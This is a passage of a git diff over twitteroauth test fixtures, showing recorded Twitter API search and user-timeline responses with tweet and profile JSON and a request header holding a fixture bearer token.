Schiff\",\"screen_name\":\"RepAdamSchiff\",\"location\":\"Burbank, CA\",\"description\":\"Representing California's 28th Congressional District. Chairman of the House Intelligence Committee (@HouseIntel).\",\"url\":\"https:\\\/\\\/t.co\\\/uxaSLX8uQ7\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/uxaSLX8uQ7\",\"expanded_url\":\"http:\\\/\\\/schiff.house.gov\\\/\",\"display_url\":\"schiff.house.gov\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2205582,\"friends_count\":776,\"listed_count\":9698,\"created_at\":\"Tue Apr 07 17:54:35 +0000 2009\",\"favourites_count\":153,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":5683,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"2578B8\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/816361054699667458\\\/0DVL6HrY_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/816361054699667458\\\/0DVL6HrY_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/29501253\\\/1547736718\",\"profile_link_color\":\"2578B8\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1253451487415619586,\"quoted_status_id_str\":\"1253451487415619586\",\"retweet_count\":28471,\"favorite_count\":92742,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656759468032,\"id_str\":\"1254206656759468032\",\"text\":\"RT @bighitzip: taehyung - profile https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"bighitzip\",\"name\":\"ARMY.ZIP\",\"id\":1253937691898478596,\"id_str\":\"1253937691898478596\",\"indices\":[3,13]}],\"urls\":[],\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[34,57],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1253966635460726789,\"source_status_id_str\":\"1253966635460726789\",\"source_user_id\":1253937691898478596,\"source_user_id_str\":\"1253937691898478596\"}]},\"extended_entities\":{\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[34,57],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1253966635460726789,\"source_status_id_str\":\"1253966635460726789\",\"source_user_id\":1253937691898478596,\"source_user_id_str\":\"1253937691898478596\"},{\"id\":1253966623028899841,\"id_str\":\"1253966623028899841\",\"indices\":[34,57],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":799,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1501,\"resize\":\"fit\"}},\"source_status_id\":1253966635460726789,\"source_status_id_str\":\"1253966635460726789\",\"source_user_id\":1253937691898478596,\"source_user_id_str\":\"1253937691898478596\"}]},\"metadata\":{\"iso_language_code\":\"tl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1108896926,\"id_str\":\"1108896926\",\"name\":\"Mustiallati\",\"screen_name\":\"mustialati\",\"location\":\"Pekanbaru,indonesia\",\"description\":\"ig : mustialati\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":354,\"friends_count\":142,\"listed_count\":0,\"created_at\":\"Mon Jan 21 12:23:57 +0000 2013\",\"favourites_count\":1542,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":10558,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"A49AAB\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251522363465728001\\\/lLcE3j-6_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251522363465728001\\\/lLcE3j-6_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1108896926\\\/1529771720\",\"profile_link_color\":\"9944DD\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 08:38:38 +0000 2020\",\"id\":1253966635460726789,\"id_str\":\"1253966635460726789\",\"text\":\"taehyung - profile https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}}},{\"id\":1253966623028899841,\"id_str\":\"1253966623028899841\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":799,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1501,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"tl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1253966632663150592,\"in_reply_to_status_id_str\":\"1253966632663150592\",\"in_reply_to_user_id\":1253937691898478596,\"in_reply_to_user_id_str\":\"1253937691898478596\",\"in_reply_to_screen_name\":\"bighitzip\",\"user\":{\"id\":1253937691898478596,\"id_str\":\"1253937691898478596\",\"name\":\"ARMY.ZIP\",\"screen_name\":\"bighitzip\",\"location\":\"\",\"description\":\"https:\\\/\\\/t.co\\\/V6KgbWseoc\",\"url\":null,\"entities\":{\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/V6KgbWseoc\",\"expanded_url\":\"http:\\\/\\\/bts-armyzip.weverse.io\",\"display_url\":\"bts-armyzip.weverse.io\",\"indices\":[0,23]}]}},\"protected\":false,\"followers_count\":14175,\"friends_count\":0,\"listed_count\":83,\"created_at\":\"Sat Apr 25 06:43:44 +0000 2020\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":15,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253939404940423169\\\/1zJGW8Gm_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253939404940423169\\\/1zJGW8Gm_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2064,\"favorite_count\":7227,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"tl\"},\"is_quote_status\":false,\"retweet_count\":2064,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"tl\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656755482628,\"id_str\":\"1254206656755482628\",\"text\":\"@bealadriel77 Voy, voy, es que se me peta Twitter con tanta petici\\u00f3n y respuesta, jaja. Ahora mismo te env\\u00edo MD \\ud83d\\ude0a\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"bealadriel77\",\"name\":\"Beatriz Jimenez Sanz\",\"id\":611069726,\"id_str\":\"611069726\",\"indices\":[0,13]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1254205823057829890,\"in_reply_to_status_id_str\":\"1254205823057829890\",\"in_reply_to_user_id\":611069726,\"in_reply_to_user_id_str\":\"611069726\",\"in_reply_to_screen_name\":\"bealadriel77\",\"user\":{\"id\":95011355,\"id_str\":\"95011355\",\"name\":\"Ylenia\",\"screen_name\":\"Ylenia_07\",\"location\":\"\",\"description\":\"\\ud83d\\udeaf\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":557,\"friends_count\":297,\"listed_count\":16,\"created_at\":\"Sun Dec 06 14:51:57 +0000 2009\",\"favourites_count\":11709,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":92707,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"709397\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme9\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme9\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237899870779965440\\\/D8lv3mv8_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237899870779965440\\\/D8lv3mv8_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/95011355\\\/1583450679\",\"profile_link_color\":\"8C8284\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"252429\",\"profile_text_color\":\"666666\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"es\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656684195842,\"id_str\":\"1254206656684195842\",\"text\":\"So any woman will do? Even an evil murdering one? https:\\\/\\\/t.co\\\/cRcsbmXw9O\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/cRcsbmXw9O\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sethabramson\\\/status\\\/1254180308989235201\",\"display_url\":\"twitter.com\\\/sethabramson\\\/s\\u2026\",\"indices\":[50,73]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":728469625,\"id_str\":\"728469625\",\"name\":\"commonsense\",\"screen_name\":\"commonsense258\",\"location\":\"\",\"description\":\"I love sports and current events. Oh and my Yorkie thinks he's human and I'm okay with that.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1449,\"friends_count\":438,\"listed_count\":51,\"created_at\":\"Tue Jul 31 14:08:02 +0000 2012\",\"favourites_count\":503592,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":256669,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/799401203872518144\\\/Pz99ggy5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/799401203872518144\\\/Pz99ggy5_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254180308989235201,\"quoted_status_id_str\":\"1254180308989235201\",\"quoted_status\":{\"created_at\":\"Sat Apr 25 22:47:41 +0000 2020\",\"id\":1254180308989235201,\"id_str\":\"1254180308989235201\",\"text\":\"Still processing the possibility that North Korea will have its first woman leader before the United States\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3223426134,\"id_str\":\"3223426134\",\"name\":\"Seth Abramson (@\\ud83c\\udfe0)\",\"screen_name\":\"SethAbramson\",\"location\":\"All views mine.\",\"description\":\"Attorney. @Newsweek columnist. Professor. Author of New York Times bestsellers Proof of Conspiracy (https:\\\/\\\/t.co\\\/jPbI2P5OQ0) & Proof of Collusion (https:\\\/\\\/t.co\\\/YUd8v4GoNp).\",\"url\":\"https:\\\/\\\/t.co\\\/BgxDeUKKGK\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/BgxDeUKKGK\",\"expanded_url\":\"http:\\\/\\\/www.sethabramson.net\\\/bio\",\"display_url\":\"sethabramson.net\\\/bio\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/jPbI2P5OQ0\",\"expanded_url\":\"http:\\\/\\\/amzn.to\\\/2sQBWYL\",\"display_url\":\"amzn.to\\\/2sQBWYL\",\"indices\":[100,123]},{\"url\":\"https:\\\/\\\/t.co\\\/YUd8v4GoNp\",\"expanded_url\":\"http:\\\/\\\/amzn.to\\\/39WyLz5\",\"display_url\":\"amzn.to\\\/39WyLz5\",\"indices\":[147,170]}]}},\"protected\":false,\"followers_count\":800707,\"friends_count\":25,\"listed_count\":7598,\"created_at\":\"Fri May 22 16:19:26 +0000 2015\",\"favourites_count\":3,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":74721,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1188673360231833601\\\/8lwhEkl9_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1188673360231833601\\\/8lwhEkl9_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3223426134\\\/1583422472\",\"profile_link_color\":\"F01405\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":915,\"favorite_count\":4887,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}],\"search_metadata\":{\"completed_in\":0.141,\"max_id\":1254206657657257984,\"max_id_str\":\"1254206657657257984\",\"next_results\":\"?max_id=1254206656684195841&q=twitter&include_entities=1\",\"query\":\"twitter\",\"refresh_url\":\"?since_id=1254206657657257984&q=twitter&include_entities=1\",\"count\":15,\"since_id\":0,\"since_id_str\":\"0\"}}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testOauth2BearerToken.json b/vendor/abraham/twitteroauth/tests/fixtures/testOauth2BearerToken.json index 06f22771fa..67c47775b7 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testOauth2BearerToken.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testOauth2BearerToken.json @@ -1,49 +1,49 @@ -[{ - "request": { - "method": "GET", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/user_timeline.json?screen_name=twitterapi", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "Bearer AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "5813", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:10 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:10 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_KEOd+4RSJKhY\/zL1nJqQjA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107019843003; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read", - "x-app-rate-limit-limit": "100000", - "x-app-rate-limit-remaining": "99993", - "x-app-rate-limit-reset": "1587934974", - "x-connection-hash": "ed574879e196a7f193fd49c8b71c2056", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "1500", - "x-rate-limit-remaining": "1497", - "x-rate-limit-reset": "1587861581", - "x-response-time": "62", - "x-transaction": "00c660e200263b3e", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "[{\"created_at\":\"Mon Mar 23 22:14:35 +0000 2020\",\"id\":1242213180060758016,\"id_str\":\"1242213180060758016\",\"text\":\"RT @TwitterDev: As we work to keep our employees safe during COVID-19, you are likely to experience longer than usual review times for deve\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Mon Mar 23 22:01:13 +0000 2020\",\"id\":1242209814706438144,\"id_str\":\"1242209814706438144\",\"text\":\"As we work to keep our employees safe during COVID-19, you are likely to experience longer than usual review times\\u2026 https:\\\/\\\/t.co\\\/Oo1t07UH4Z\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Oo1t07UH4Z\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1242209814706438144\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web 